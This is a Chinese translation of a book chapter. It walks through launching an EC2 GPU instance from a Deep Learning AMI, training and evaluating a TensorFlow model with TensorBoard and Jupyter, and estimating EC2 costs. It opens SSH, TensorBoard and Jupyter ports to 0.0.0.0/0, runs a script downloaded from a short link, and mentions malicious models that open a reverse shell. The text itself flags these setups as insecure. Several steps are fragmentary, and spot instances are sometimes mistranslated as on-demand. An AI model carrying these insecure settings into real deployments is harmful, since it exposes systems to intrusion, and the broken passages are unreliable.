在执行深度学习实验时,数据科学家和机器学习工程师通常更倾向于选择 GPU 实例而不是 CPU 实例。图形处理单元(GPU)可以显著加速深度学习实验,因为 GPU 可以同时处理多个并行计算。由于 GPU 实例通常比 CPU 实例更昂贵,数据科学家和机器学习工程师在处理机器学习需求时通常会使用这两种类型的组合。例如,机器学习从业者可能仅将 GPU 实例的使用限制在训练深度学习模型上。这意味着 CPU 实例将用于部署训练好的模型的推理端点。这在大多数情况下是足够的,并且一旦考虑到成本,这将被视为一个非常实用的举措。
图 2.8 – CPU 实例与 GPU 实例
话虽如此,我们需要确定哪些实例属于 GPU 实例组,哪些实例属于 CPU 实例的范畴。前面的图表显示了一些 GPU 实例的例子,包括p3.2xlarge
、dl1.24xlarge
、g3.4xlarge
、p2.8xlarge
和g4ad.8xlarge
。还有其他不在列表中的 GPU 实例类型,但你应该只需通过检查实例家族就能识别这些实例。例如,我们确信p3.8xlarge
是一个 GPU 实例类型,因为它属于与p3.2xlarge
实例类型相同的家族。
既然我们已经对 CPU 和 GPU 实例有了更好的了解,让我们继续在实例类型的选项列表中定位并选择p3.2xlarge
:
- 在“定位框架特定的 DLAMI”部分我们停止的地方继续,让我们在“实例类型”面板下找到并点击比较实例类型链接。这应该会重定向到比较实例类型页面,如下面的截图所示:
图 2.9 – 比较实例类型
在这里,我们可以看到不同的实例类型,以及它们对应的规格和每小时成本。
- 点击搜索字段(带有过滤实例类型占位文本)。这应该打开一个选项的下拉列表,如下面的截图所示:
图 2.10 – 使用“过滤实例类型”搜索字段
在选项列表中找到并选择GPU。这应该打开添加 GPU 过滤器窗口。
- 在其旁边的文本字段中的
0
上。点击随后的确认按钮。
注意
我们应用过的过滤器应该将结果集限制为 GPU 实例。我们应该找到几个加速计算实例家族,例如P3、P2、G5、G4dn和G3,仅举几个例子。
- 接下来,让我们点击下面的截图中所突出的首选项按钮:
图 2.11 – 打开首选项窗口
这应该打开首选项窗口。在属性列下,确保GPU单选按钮被选中,如下面的截图所示:
图 2.12 – 显示 GPU 属性列
点击随后的确认按钮。这应该更新表格列表显示,并显示列表中每种实例类型的 GPU 数量,如下所示:
图 2.13 – 每个实例类型的 GPU
在这里,我们应该看到一种模式,即随着实例类型在同一个实例家族中变得“更大”,GPU 的数量通常会增加。
-
找到并选择对应于p3.2xlarge实例类型的行。注意可用的 GPU 数量,以及p3.2xlarge实例类型的每小时成本(按需 Linux 定价)。
-
之后点击屏幕右下角的选择实例类型按钮。
这应该会关闭比较实例类型窗口,并返回到启动实例页面。
确保默认安全配置
当启动 EC2 实例时,我们需要管理安全配置,这将影响实例的访问方式。这包括配置以下内容:
-
密钥对:包含用于安全访问实例的凭据的文件(例如,使用 SSH)
-
虚拟专用云(VPC):一个逻辑上隔离的虚拟网络,它规定了如何访问资源以及资源之间如何相互通信
-
安全组:一个虚拟防火墙,使用基于配置的协议和端口的规则来过滤进出 EC2 实例的流量
话虽如此,在我们启动 EC2 实例之前,让我们先完成剩余的配置参数:
-
在我们之前在选择实例类型部分结束的地方继续,让我们继续创建一个新的密钥对。在密钥对(登录)下,找到并点击创建新的密钥对。
-
在
dlami-key
) forRSA
-
.pem
-
点击
.pem
文件到您的本地机器。请注意,我们在这个章节的动手实践中不需要这个.pem
文件,因为我们稍后将通过EC2 实例连接(通过浏览器)使用它来访问实例。
重要提示
永远不要共享下载的密钥文件,因为这是通过 SSH 访问实例所用的。对于生产环境,考虑将非公开实例隐藏在正确配置的 VPC 内部。关于保护我们的机器学习环境有很多要讨论的。我们将在第九章中详细讨论安全,安全、治理和合规策略。
-
在
vpc-xxxxxxxx(默认)
下 -
启用
-
创建安全组
-
在网络设置的入站安全组规则下,指定一组安全组规则,类似于以下截图中所配置的:
图 2.14 – 入站安全组规则
如您所见,我们将使用以下规则配置新的安全组:
-
SSH
;TCP
;22
;任何地方
|0.0.0.0/0
;SSH
– 允许任何“计算机”例如您的本地机器通过安全壳(SSH)协议在端口 22 上连接到 EC2 实例 -
自定义 TCP
;TCP
;6006
;任何地方
|0.0.0.0/0
;Tensorboard
– 允许任何“计算机”例如您的本地机器访问 EC2 实例的 6006 端口(可能运行着TensorBoard等应用程序) -
自定义 TCP
;TCP
;8888
;任何地方
|0.0.0.0/0
;Jupyter
– 允许任何“计算机”例如您的本地机器访问 EC2 实例的 8888 端口(可能运行着如 Jupyter Notebook 应用程序之类的应用程序)
一旦您配置了新的安全组,包括 安全组名称 – 必需 和 描述 – 必需 以及相关的 入站安全组规则,您就可以进行下一步操作。
注意
注意,一旦我们需要为生产使用准备设置,这个配置就需要被审查并进一步加固。首先,0.0.0.0/0
),因为这个配置允许任何计算机或服务器通过开放的端口访问我们的实例。话虽如此,我们可能只限制本地机器的 IP 地址访问。在此期间,我们现有的配置应该足够用,因为我们将在完成本章后立即删除该实例。
- 在 配置存储 下定位并点击 添加新卷 按钮:
图 2.15 – 配置存储设置
在 1x 和 GiB 之间的文本字段中指定 35
。类似于前一个屏幕截图中的设置。
我们还可以配置和调整(在 高级详情 下)的几个更多选项,但我们将保留默认值不变。
使用 EC2 实例连接启动实例并连接到它
有多种方式可以连接到 EC2 实例。之前,我们配置了实例,使其可以通过密钥文件(例如,从您的本地机器的终端)使用 SSH 访问。另一个可能的选项是使用 EC2 实例连接 通过浏览器访问实例。我们还可以使用 会话管理器 通过 SSH 访问实例。在本节中,我们将使用 EC2 实例连接来访问我们的实例。
在 确保默认安全配置 部分我们停止的地方继续,现在让我们启动 EC2 实例并通过浏览器访问它:
- 一旦您已配置存储设置,请定位并点击屏幕右侧的 摘要 下的 启动实例 按钮。确保在启动后的一小时内终止此实例,因为这些类型的实例的每小时费用相对于其他实例类型要高一些。您可以在本章的 清理 部分查看更多详细信息。
注意
确保在 1
中指定的值。技术上,我们可以通过将此值设置为 20
一次性启动 20 个实例。然而,我们不想这样做,因为这会非常昂贵且浪费。现在,让我们保持 1
,这应该足以处理本章中的深度学习实验。
- 您应该会看到一个成功通知,以及正在启动的资源实例 ID,类似于以下屏幕截图所示:
图 2.16 – 启动成功通知
点击包含实例 ID(i-xxxxxxxxxxxxxxxxx
)的链接,如图中高亮显示,以导航到MLE-CH02-DLAMI
,使其出现在实例列表中。
注意
在进行下一步之前,请等待一分钟或两分钟。如果在启动实例时遇到InsufficientInstanceCapacity
错误,请随意使用不同的p3
实例。要进一步排除故障,您还可以参考aws.amazon.com/premiumsupport/knowledge-center/ec2-insufficient-capacity-errors/
以获取更多信息。
- 通过切换以下屏幕截图中的复选框选择实例。之后点击连接按钮:
图 2.17 – 直接连接到实例
在这里,我们可以看到有一个选项可以直接使用浏览器连接到实例。
- 在
AA.BB.CC.DD
到您本地机器上的文本编辑器。请注意,您将获得不同的公网 IP 地址值。我们将在本章后面使用此 IP 地址值来访问root
并然后点击连接:
图 2.18 – EC2 实例连接
这应该会打开一个新标签页,允许我们从浏览器直接运行终端命令。如果您收到无法连接到您的实例的错误消息,请在刷新页面或点击重试按钮之前等待大约 2 到 3 分钟:
图 2.19 – EC2 实例连接终端
如我们所见,TensorFlow 2.9.1
和其他实用库已安装在/usr/local/bin/python3.9
中。请注意,您可能会根据您用于启动实例的 DLAMI 版本获得不同的 TensorFlow 和 Python 版本。
难道不是很容易吗?到这一点,我们现在应该能够使用 TensorFlow 进行深度学习实验,而无需在 EC2 实例内部安装额外的工具和库。
注意
注意,使用 AMI 启动实例的过程可以通过启动模板进一步加速,这些模板已经指定了实例配置信息,例如 AMI ID、实例类型、密钥对和安全组。本书不会涵盖启动模板的使用,因此请随意查看以下链接以获取更多详细信息:docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-launch-templates.xhtml
。
下载示例数据集
在本章的后续部分,我们将使用一个非常简单的合成数据集,该数据集只包含两列 – x 和 y。在这里,x 可能代表对象在 X 轴上的相对位置,而 y 可能代表同一对象在 Y 轴上的位置。以下截图显示了数据的示例:
图 2.20 – 示例数据集
机器学习是关于寻找模式。在本章的后面,我们将构建一个模型,尝试根据 x 的值预测 y 的值。一旦我们能够构建像这样的简单示例模型,处理包含超过两列的更真实的数据集将会容易得多,就像我们在 第一章 AWS 机器学习工程简介 中处理的那样。
注意
在本书中,我们不会仅限于表格数据和简单的数据集。例如,在 第六章 SageMaker 训练和调试解决方案 中,我们将处理标记的图像数据,并使用 Amazon SageMaker 的多个功能和特性构建两个图像分类模型。在 第七章 SageMaker 部署解决方案 中,我们将处理文本数据,并使用各种部署选项部署一个 自然语言处理 (NLP) 模型。
话虽如此,让我们继续在 启动实例并使用 EC2 实例连接连接到它 部分中留下的地方,并继续下载我们将用于本章训练深度学习模型的数据库集:
-
在
data
目录下:mkdir -p data
-
使用
wget
命令下载训练、验证和测试数据集:wget https://bit.ly/3h1KBx2 -O data/training_data.csv
wget https://bit.ly/3gXYM6v -O data/validation_data.csv
wget https://bit.ly/35aKWem -O data/test_data.csv
-
可选地,我们可以使用
yum
软件包管理工具安装tree
工具:yum install tree
如果这是你第一次遇到 tree
命令,它用于以树状结构列出目录和文件。
注意
也可以从 EC2 实例创建一个自定义 AMI。如果我们现在从正在使用的 EC2 实例创建一个自定义 AMI,我们就可以使用以下已安装的内容启动新的 EC2 实例: (1) 从 DLAMI 安装的框架、库和工具,以及 (2) 在创建自定义 AMI 之前安装的 tree
工具。
-
使用
tree
命令查看当前目录下的所有文件夹和文件:tree
这应该会产生一个类似以下截图所示的树状结构:
图 2.21 – 使用 tree 命令后的结果
在这里,我们可以看到我们已成功使用之前安装的 wget
命令下载了 CSV 文件。
-
现在,让我们验证并检查我们下载的 CSV 文件之一的内容。使用
head
命令查看training_data.csv
文件的前几行:head data/training_data.csv
这应该会给我们提供(x,y)对,类似于以下截图所示:
图 2.22 – training_data.csv 文件的前几行
你也可以使用head
命令检查validation_data.csv
和test_data.csv
的内容。
注意
需要注意的是,在这个例子中,第一列是y列。一些机器学习实践者遵循一种惯例,即第一列用作目标列(包含我们希望使用数据集的其他列预测的值的列)。当使用某些算法,如SageMaker内置的XGBoost和线性学习器算法时,假定第一列是目标列。如果你使用自己的自定义脚本来加载数据,你可以遵循任何你喜欢的惯例,因为你对数据的加载和从文件中解释数据的自由度很大。
到现在为止,你可能已经注意到,在这本书中,我们一直在使用干净且预处理过的数据集。在真实的机器学习项目中,你将处理各种问题,如缺失值和重复行等原始数据。在第五章,“实用数据处理和分析”中,我们将处理bookings数据集的“更脏”版本,并使用各种 AWS 服务和功能,如AWS Glue DataBrew和Amazon SageMaker Data Wrangler来分析、清理和处理数据。然而,在这一章中,我们将使用“干净”的数据集,因为我们需要专注于使用TensorFlow和Keras训练深度学习模型。话虽如此,让我们继续生成一个接受x作为输入并返回预测y值作为输出的模型。
训练机器学习模型
在第一章,“AWS 上机器学习工程的介绍”中,我们训练了一个二元分类器模型,旨在使用可用信息预测酒店预订是否会取消。在本章中,我们将使用(有意简化的)从下载示例数据集中获得的(intentionally simplified)数据集,并训练一个回归模型,该模型将根据x的值预测y(连续变量)的值。我们将不依赖现成的 AutoML 工具和服务,而是使用自定义脚本:
图 2.23 – 模型生命周期
当编写自定义训练脚本时,我们通常遵循与前面图表中所示类似的顺序。我们首先定义和编译一个模型。之后,我们加载数据并使用它来训练和评估模型。最后,我们将模型序列化并保存到文件中。
注意
模型保存后会发生什么?模型文件可以在推理端点中使用和加载——这是一个使用训练好的机器学习模型进行预测(例如,预测y值)的 Web 服务器,给定一组输入值(例如,输入x值)。在本章的加载和评估模型部分,我们将使用tf.keras.models
模块中的load_model()
函数在 Jupyter Notebook 中加载生成的模型文件。然后,我们将使用predict()
方法使用提供的测试数据集进行样本预测。
在本章中,我们将使用一个脚本文件,该文件使用TensorFlow和Keras构建神经网络模型——一个可以学习输入和输出之间复杂模式的节点互联组。由于我们将在这本书中处理神经网络和深度学习概念,我们必须对以下概念有一个基本了解:
- 神经元(Neurons):这些是神经网络的基本构建块,它们接受并处理输入值以产生输出值。输出值是如何计算的?每个通过神经元的输入值都会乘以相关的权重值,然后加上一个数值(也称为偏置)。随后,将一个称为激活函数的非线性函数应用于所得值,从而产生输出。这个非线性函数有助于神经网络学习输入值和输出值之间的复杂模式。我们可以在以下图中看到一个神经元的表示:
图 2.24 – 神经元的表示
在这里,我们可以通过一个包含输入值、相应的权重值、偏置和激活函数的公式来计算y的值。换句话说,我们可以将神经元视为一个“数学函数”,将神经网络视为“一串数学函数”,这些函数试图通过不断更新权重和偏置值来映射输入值和输出值。
- 层(Layers):层由位于神经网络特定位置或深度的神经元组成:
图 2.25 – 输入层、输出层和多个隐藏层
在这里,我们可以看到神经网络的各个层次。输入层是接收输入值的层,而输出层是生成输出值的层。在输入层和输出层之间是称为隐藏层的处理层,它们处理和转换从输入层到输出层的数据。(具有一个或两个以上隐藏层的神经网络通常称为深度神经网络。)
-
正向传播:这指的是从输入层到隐藏层,然后到输出层的正向信息流,以生成输出值。
-
损失函数:此函数用于计算预测计算值与实际值之间的偏差。鉴于训练神经网络的目的是生成尽可能接近实际值的预测值,我们应该通过使用如梯度下降之类的优化算法来寻找损失函数的最小值(这代表了模型的误差)。
-
反向传播:这是根据预测值和实际值之间的差异调整神经网络中权重的过程(这涉及到计算梯度或对每一层的权重进行小幅度更新):
图 2.26 – 反向传播
在这里,我们可以看到反向传播涉及从输出层向输入层传播计算出的误差(并相应地更新权重)。
-
学习率:这影响了在训练神经网络时根据损失梯度调整网络中权重的数量。
-
时代:这是一个涉及使用整个训练数据集进行一次正向传播和一次反向传播的训练迭代。在每次训练迭代之后,神经网络的权重都会更新,并且期望神经网络在将输入值映射到输出值时表现更好。
注意
我们不会深入探讨深度学习和神经网络的细节。如果您想了解更多关于这些主题的信息,网上有几种书籍可供选择:www.amazon.com/Neural-Network/s?k=Neural+Network
。
现在我们对神经网络有了更好的了解,我们可以继续训练神经网络模型。在接下来的步骤中,我们将使用自定义脚本来训练一个深度学习模型,该模型使用上一节下载的数据:
-
首先,让我们使用
mkdir
命令创建一个名为logs
的目录:mkdir -p logs
-
接下来,使用
wget
命令下载train.py
文件:wget https://bit.ly/33D0iYC -O train.py
-
使用
tree
命令快速检查文件和目录结构:tree
这应该会生成一个类似以下截图所示的树状结构:
图 2.27 – 使用 tree 命令后的结果
注意,数据和日志目录与 train.py
文件处于同一级别。
-
在运行
train.py
文件之前,执行以下命令:for a in /sys/bus/pci/devices/*; do echo 0 | sudo tee -a $a/numa_node; done
这将帮助我们避免在列出本章后面的 GPU 设备时出现的成功从 SysFS 读取 NUMA 节点具有负值 (-1) 警告信息。
- 在运行下载的
train.py
脚本之前,让我们通过在单独的浏览器标签页中打开github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS/blob/main/chapter02/train.py
来检查其内容:
图 2.28 – train.py 文件
在前面的屏幕截图中,我们可以看到我们的 train.py
脚本执行以下操作:
-
(
prepare_model()
函数 -
(
load_data()
函数 -
(3)准备 TensorBoard 回调对象
-
(
fit()
方法并传递callback
参数值 -
(
save()
方法
注意
重要的是要注意,我们 train.py
脚本中的 prepare_model()
函数执行了 定义模型 和 编译模型 两个步骤。在此函数中定义的神经网络是一个具有五个层的示例顺序模型。有关更多信息,请随时查看 prepare_model()
函数的实现,链接为 github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS/blob/main/chapter02/train.py
。
-
让我们在 EC2 Instance Connect 终端中运行以下命令来开始训练步骤:
python3.9 train.py
这应该会生成一组日志,类似于以下屏幕截图所示:
图 2.29 – train.py 脚本日志
注意,训练步骤可能需要大约 5 分钟才能完成。一旦 train.py
脚本执行完毕,您可以使用 tree
命令检查 logs
和 model
目录下生成的新文件。
注意
这里发生了什么?在这里,我们定义在 train.py
中的模型的 fit()
方法正在使用设置为 500
的周期数(迭代次数)来训练模型。对于每次迭代,我们正在更新神经网络的权重,以最小化实际值和预测值之间的“误差”(例如,使用交叉验证数据)。
-
接下来,运行以下命令以运行
tensorBoard
应用程序,该程序可以帮助可视化和调试机器学习实验:tensorboard --logdir=logs --bind_all
-
打开一个新的浏览器标签页并打开
http://<IP ADDRESS>:6006
。将<IP ADDRESS>
替换为我们复制到文本编辑器中的公共 IP 地址,在 使用深度学习 AMI 启动 EC2 实例 部分中:
图 2.30 – TensorBoard
这应该会加载一个类似于前一个屏幕截图所示的网页应用程序。我们不会深入探讨我们可以用 TensorBoard 做什么,所以请随时查看 www.tensorflow.org/tensorboard
获取更多信息。
注意
我们如何解释这些图表?如图 2.30 所示,训练和验证损失通常随时间而降低。在第一个图表(顶部),X轴对应于 epoch 编号,而Y轴显示训练和验证损失。需要注意的是,在这个图表中,训练和验证的“学习曲线”是重叠的,并且随着 epoch 或迭代次数的增加,两者都会继续下降到某个点。需要注意的是,这类图表有助于诊断机器学习模型性能,这在避免诸如过拟合(训练模型在训练数据上表现良好,但在未见过的数据上表现不佳)和欠拟合(训练模型在训练数据集和未见过的数据上表现不佳)等问题时非常有用。我们不会详细讨论这个问题,所以请随意查看其他机器学习和深度学习资源。
- 返回到EC2 实例内容终端,并使用Ctrl + C停止正在运行的TensorBoard应用程序进程。
在这个阶段,我们应该在model
目录内拥有训练好的模型的工件。在下一节中,我们将在 Jupyter Notebook 环境中加载并评估这个模型。
加载和评估模型
在上一节中,我们使用终端训练了我们的深度学习模型。在进行机器学习实验时,通常更方便使用基于 Web 的交互式环境,如Jupyter Notebook。技术上我们可以在终端中运行所有后续的代码块,但为了方便,我们将使用 Jupyter Notebook。
在接下来的步骤中,我们将从命令行启动 Jupyter Notebook。然后,我们将运行几个代码块来加载和评估我们在上一节中训练的机器学习模型。让我们开始吧:
-
在训练 ML 模型部分我们停止的地方继续,让我们在EC2 实例连接终端中运行以下命令:
jupyter notebook --allow-root --port 8888 --ip 0.0.0.0
这应该启动 Jupyter Notebook,并通过端口8888
使其可访问:
图 2.31 – Jupyter Notebook 令牌
确保复制从运行jupyter notebook
命令后生成的随机令牌。参考前面的截图,了解如何获取生成的令牌。
- 打开一个新的浏览器标签页,并打开
http://<IP ADDRESS>:8888
。将<IP ADDRESS>
替换为我们在使用深度学习 AMI 启动 EC2 实例部分复制到文本编辑器的公共 IP 地址:
图 2.32 – 访问 Jupyter Notebook
在这里,我们可以看到在使用Jupyter Notebook之前,我们需要输入密码或令牌。只需输入从上一步骤生成的日志中获得的令牌。
重要提示
注意,这个设置尚未准备好在生产环境中使用。有关如何安全地配置 Jupyter Notebook 服务器的信息,请参阅 https://jupyter-notebook.readthedocs.io/en/stable/security.xhtml。我们还将讨论一些提高此设置安全性的策略,详见 第九章,安全、治理和合规策略。
- 通过点击 新建 并从下拉选项中选择 Python 3 (ipykernel) 来创建一个新的笔记本,类似于以下截图所示:
图 2.33 – 创建新的 Jupyter Notebook
这应该打开一个空白笔记本,我们可以在这里运行我们的 Python 代码。
-
导入
tensorflow
然后使用list_physical_devices()
列出实例中的可见 GPU:import tensorflow as tf
tf.config.list_physical_devices('GPU')
这应该返回一个包含单个 PhysicalDevice
对象的列表,类似于 [PhysicalDevice(name='/physical_device:GPU:0',device_type='GPU')]
。
备注
由于我们使用的是 p3.2xlarge
实例,前面的代码块返回了一个可见的 GPU 设备。如果我们启动一个 p3.16xlarge
实例,我们应该得到 8 个可见 GPU 设备。请注意,我们可以通过并行技术(如 数据并行(在每个 GPU 中使用相同的模型,但使用数据集的不同部分进行训练)和 模型并行(将模型分成与 GPU 数量相等的几个部分))同时利用多个 GPU 设备来显著减少训练时间。当然,ML 实验脚本需要修改以利用多个 GPU。有关如何在 TensorFlow 中使用 GPU 的更多信息,请查阅以下链接以获取更多详细信息:www.tensorflow.org/guide/gpu
。
-
使用
tf.keras.models.load_model()
加载模型。使用model.summary()
检查模型:model = tf.keras.models.load_model('model')
model.summary()
这应该生成一个模型摘要,如下面的截图所示:
图 2.34 – 模型摘要
此模型摘要应反映我们在 训练 ML 模型 部分准备和训练的模型的属性。
重要备注
确保仅使用 load_model()
函数(以及其他类似函数)从可信来源加载 ML 模型。攻击者可以轻松地准备一个带有恶意负载的模型,当加载时,将允许攻击者访问运行 ML 脚本的服务器(例如,通过 反向 shell)。有关此主题的更多信息,您可以查看作者关于如何黑客攻击和确保 ML 环境和系统安全的演讲:speakerdeck.com/arvslat/pycon-apac-2022-hacking-and-securing-machine-learning-environments-and-systems?slide=21
。
-
定义
load_data()
函数,该函数将返回指定文件位置的 CSV 文件的值:import numpy as np
def load_data(training_data_location):
fo = open(training_data_location, "rb")
result = np.loadtxt(fo, delimiter=",")
y = result[:, 0]
x = result[:, 1]
return (x, y)
-
现在,让我们测试加载的模型是否能够根据一组输入值进行预测。使用
load_data()
加载测试数据,并使用model.predict()
进行一些样本预测:x, y = load_data("data/test_data.csv")
predictions = model.predict(x[0:5])
predictions
这应该会得到一个浮点数值数组,类似于以下屏幕截图所示:
图 2.35 – 预测结果
在这里,我们有与每个五个输入x值对应的预测y目标值数组。请注意,这些预测y值与从test_data.csv
文件加载的实际y值不同。
-
使用
model.evaluate()
评估加载的模型:results = model.evaluate(x, y, batch_size=128)
results
这应该给出一个类似于或接近于2.705784797668457
的值。如果你想知道这个数字的含义,这是预测值与实际值之间距离的数值表示:
图 2.36 – 模型评估的工作原理
在这里,我们可以看到一个回归问题中模型评估工作的例子。首先,评估指标如均方根误差(RMSE)、均方误差(MSE)和平均绝对误差(MAE)在计算单个评估指标值之前,计算实际值和预测值之间的差异。这意味着具有较低 RMSE 值的模型通常比具有较高 RMSE 值的模型犯的错误更少。
到目前为止,你可能会决定构建一个自定义的后端 API,使用前面代码块以及 Python Web 框架,如Flask、Pyramid或Django。然而,你可能首先想检查其他内置解决方案,例如TensorFlow Serving(一个用于 TensorFlow 模型的机器学习模型服务系统),它专为生产环境设计。
如果你仔细想想,我们在上一两个部分中已经完成了一个完整的机器学习实验,而无需安装任何额外的库、包或框架(除了可选的tree
工具)。有了这个,你已经了解了深度学习 AMI是多么有用和强大!再次强调,如果我们必须设置 20 个或更多的类似 ML 环境,可能只需不到 2 小时就能完成所有设置和准备。
清理
现在我们已经完成了一个端到端的机器学习实验,是时候执行清理步骤以帮助我们管理成本了:
-
关闭包含EC2 实例连接终端会话的浏览器标签页。
-
导航到使用深度学习 AMI 启动的EC2 实例页面。点击实例状态以打开下拉选项列表,然后点击终止实例:
图 2.37 – 终止实例
如我们所见,还有其他选项可用,例如停止实例和重启实例。如果你现在不想删除实例,你可能想先停止实例,然后在稍后的日期和时间再启动它。请注意,停止的实例会产生费用,因为当 EC2 实例停止时,附加的 EBS 卷不会被删除。话虽如此,如果没有存储在 EBS 卷中的关键文件,最好是终止实例并删除任何附加的 EBS 卷。
- 在终止实例?窗口中,点击终止。这应该会删除 EC2 实例及其附加的卷。
当不再需要时,应关闭、终止或删除未使用的资源以管理和降低成本。随着我们的机器学习和机器学习工程需求需要更多资源,我们将不得不利用几种成本优化策略来管理成本。我们将在下一节讨论其中一些策略。
理解 AWS 如何为 EC2 实例定价
在结束本章之前,我们必须对 AWS 在处理 EC2 实例时的定价有一个很好的了解。我们还需要了解架构和设置如何影响在云中运行机器学习工作负载的整体成本。
假设我们最初在俄勒冈地区运行一个p2.xlarge
实例,全天候运行整整一个月。在这个实例内部,数据科学团队定期运行一个脚本,使用首选的机器学习框架训练深度学习模型。这个训练脚本通常每周运行两次,每次大约 3 小时。由于新数据的可用性时间表不可预测,很难知道何时运行训练脚本以生成新的模型。生成的机器学习模型随后立即部署到 Web API 服务器,该服务器作为同一实例内的推理端点。根据这些信息,这个设置的成本会是多少?
图 2.38 – 每月运行一个 p2.xlarge 实例的大致成本
在这里,我们可以看到这个设置的总体成本大约至少为每月 $648。我们是如何得到这个数字的? 我们首先查找在俄勒冈地区运行p2.xlarge
实例每小时的按需成本(使用以下链接作为参考:aws.amazon.com/ec2/pricing/on-demand/
)。在撰写本文时,俄勒冈(us-west-2
)地区p2.xlarge
实例每小时的按需成本为每小时 $0.90。由于我们将全天候运行此实例整整一个月,我们需要计算每月的估计总小时数。假设我们每月大约有 30 天,我们应大约有单月 720 小时 – 即每天 24 小时 x 30 天 = 720 小时
。
注意,我们也可以使用730.001 小时作为每月总小时数的更准确值。然而,我们现在将坚持 720 小时以简化事情。下一步是将EC2 实例的每小时运行成本(每小时 $0.90)和每月总小时数(每月 720 小时)相乘。这将给我们提供单个月内运行 EC2 实例的总成本($0.90 x 720 = $648)。
注意
为了简化本节中的计算,我们只考虑使用 EC2 实例的每小时成本。在现实生活中,我们还需要考虑使用其他资源(如 EBS 卷、VPC 资源(NAT 网关)等)相关的成本。为了得到更准确的估计,请确保使用AWS 定价计算器:https://calculator.aws/。
过了一段时间,数据科学团队决定在我们已经运行训练脚本和 Web 服务器(推理端点)的同一实例中训练另一个模型。担心他们在同时运行两个训练脚本时可能会遇到性能问题和瓶颈,团队要求将p2.xlarge
实例升级到p2.8xlarge
实例。根据这个信息,新的设置成本会是多少?
图 2.39 – 每月运行 p2.8xlarge 实例的大致成本
在这里,我们可以看到这个设置的总体成本大约至少为每月 $5,184。我们是如何得到这个数字的?我们必须遵循与上一个示例类似的步骤,并查找运行p2.8xlarge
实例的每小时按需成本。在这里,我们可以看到运行p2.8xlarge
实例的成本(每小时 $7.20)是运行p2.xlarge
实例成本(每小时 $0.90)的八倍。话虽如此,我们预计总体成本也将是之前原始设置的八倍。在将p2.8xlarge
实例的每小时运行成本(每小时 $7.20)和每月总小时数(每月 720 小时)相乘后,我们应该得到单个月内运行p2.8xlarge
实例的总成本($7.20 x 720 = $5,184)。
使用多个较小的实例来降低运行机器学习工作负载的总体成本
到目前为止,你可能想知道是否有更好的方法来设置,以在运行相同的机器学习工作负载的同时显著降低成本。好消息是,有各种方法可以改进我们目前的情况,并将成本从每月 $5,184降低到更小的值,例如每月 $86.40!请注意,这与原始设置的运行成本(每月 $648)相比也小得多。我们是如何做到这一点的?
我们需要做的第一件事是利用多个“较小”的实例,而不是单个p2.8xlarge
实例。一种可能的配置是使用每个训练脚本一个p2.xlarge
实例(每小时0.90 美元)。由于我们正在处理两个训练脚本,我们将有两个p2.xlarge
实例。除此之外,我们还将使用一个m6i.large
实例(每小时0.096 美元)来托管模型部署的推理端点。由于训练脚本只有在有新数据可用时才会运行(大约每周两次),我们可以让p2.xlarge
实例只在需要运行训练脚本时运行。这意味着如果我们有大约每月 720 小时,与其中一个训练脚本关联的p2.xlarge
实例总共应该只运行大约每月 24 小时(实例大部分时间处于关闭状态)。
注意
我们是如何得到这个数字的?由于训练脚本预计每周运行两次,每次大约 3 小时,那么公式将是 [每次运行 3 小时] x [每周 2 次] x [4 周]
,这将得出 24 小时的结果。这意味着如果这些p2.xlarge
实例在一个月内总共只运行大约 24 小时,那么每个p2.xlarge
实例的月费用大约为每月 21.60 美元。
即使这些p2.xlarge
实例大部分时间都是关闭的,我们的机器学习推理端点仍然会在其专用的m6i.large
实例上 24/7 运行。运行整个月的m6i.large
实例的费用大约为每月 69.12 美元(使用公式[$0.096 每小时] x [每月 720 小时]
):
图 2.40 – 使用多个较小的实例以降低整体成本
话虽如此,我们应该能够将整体成本降低到大约每月 112.32 美元,这与前面显示的图表相似。我们是如何得到这个数字的?我们只是简单地将一个月内运行每个实例的预期成本相加:$21.60 + $21.60 + $69.12 = $112.32。
使用即时实例降低训练作业的运行成本
重要的是要注意,我们可以通过利用用于运行训练脚本的p2.xlarge
实例来进一步降低成本。使用即时实例,我们可以通过利用 AWS 中可用的备用计算能力,将特定 EC2 实例类型的成本降低约 60%至 90%。这意味着在运行p2.xlarge
实例时,我们可能只需支付每小时 0.36 美元,假设我们使用即时实例可以节省大约 60%。使用即时实例时有什么风险吗?当使用即时实例时,应用程序运行在这些实例内部可能会被中断!这意味着我们只应该运行那些在意外中断后可以恢复的任务(例如机器学习训练作业)。
注意
我们是如何得到这个数字的?60% 的节省相当于将按需每小时成本(每小时 *$0.90)乘以 0.40。这将给我们 [$0.90 每小时] x [0.40] = [$0.36 每小时]
。
由于使用按需实例时可能出现中断,因此不建议您将其用于 24/7 运行的 m6i.large
实例,其中运行着 Web 服务器(推理端点):
图 2.41 – 使用按需实例降低训练作业的运行成本
一旦我们为 p2.xlarge
实例使用了按需实例,我们就能将整体成本降低到大约 $86.40 每月,这与前面图表中的情况相似。再次强调,这个最终值不包括其他成本,以简化计算。然而,正如你所看到的,这个值比运行单个 p2.8xlarge
实例的成本(每月 $5,184)要小得多。
这不是令人惊叹吗?!我们只是稍微改变了架构,就能将成本从 $5,184 每月 降低到 $86.40 每月!请注意,还有其他方法可以优化在云中运行机器学习工作负载的整体成本(例如,利用 计算节省计划)。本节所学的内容现在应该足够了,因为我们将在本书的下一章继续讨论这类话题。
摘要
在本章中,我们能够使用 深度学习 AMI 启动一个 EC2 实例。这使我们能够立即拥有一个可以进行机器学习实验的环境,而无需担心安装和设置步骤。然后我们使用 TensorFlow 训练和评估我们的深度学习模型来解决回归问题。我们通过简要讨论 AWS 对 EC2 实例的定价方式来结束本章。
在下一章中,我们将重点介绍 AWS 深度学习容器 如何显著加快机器学习实验和部署过程。
进一步阅读
我们只是触及了使用深度学习 AMI 可以做到的事情的表面。除了拥有预安装框架的便利性外,DLAMIs 还使机器学习工程师能够利用其他优化解决方案,例如 AWS Inferentia、AWS Neuron、分布式训练 和 弹性布线适配器。有关更多信息,请随时查看以下资源:
-
什么是 AWS 深度学习 AMI? (
docs.aws.amazon.com/dlami/latest/devguide/what-is-dlami.xhtml
) -
AWS 定价如何工作 (
docs.aws.amazon.com/whitepapers/latest/how-aws-pricing-works/how-aws-pricing-works.pdf
) -
弹性布线适配器 (
docs.aws.amazon.com/dlami/latest/devguide/tutorial-efa.xhtml
)
第三章:深度学习容器
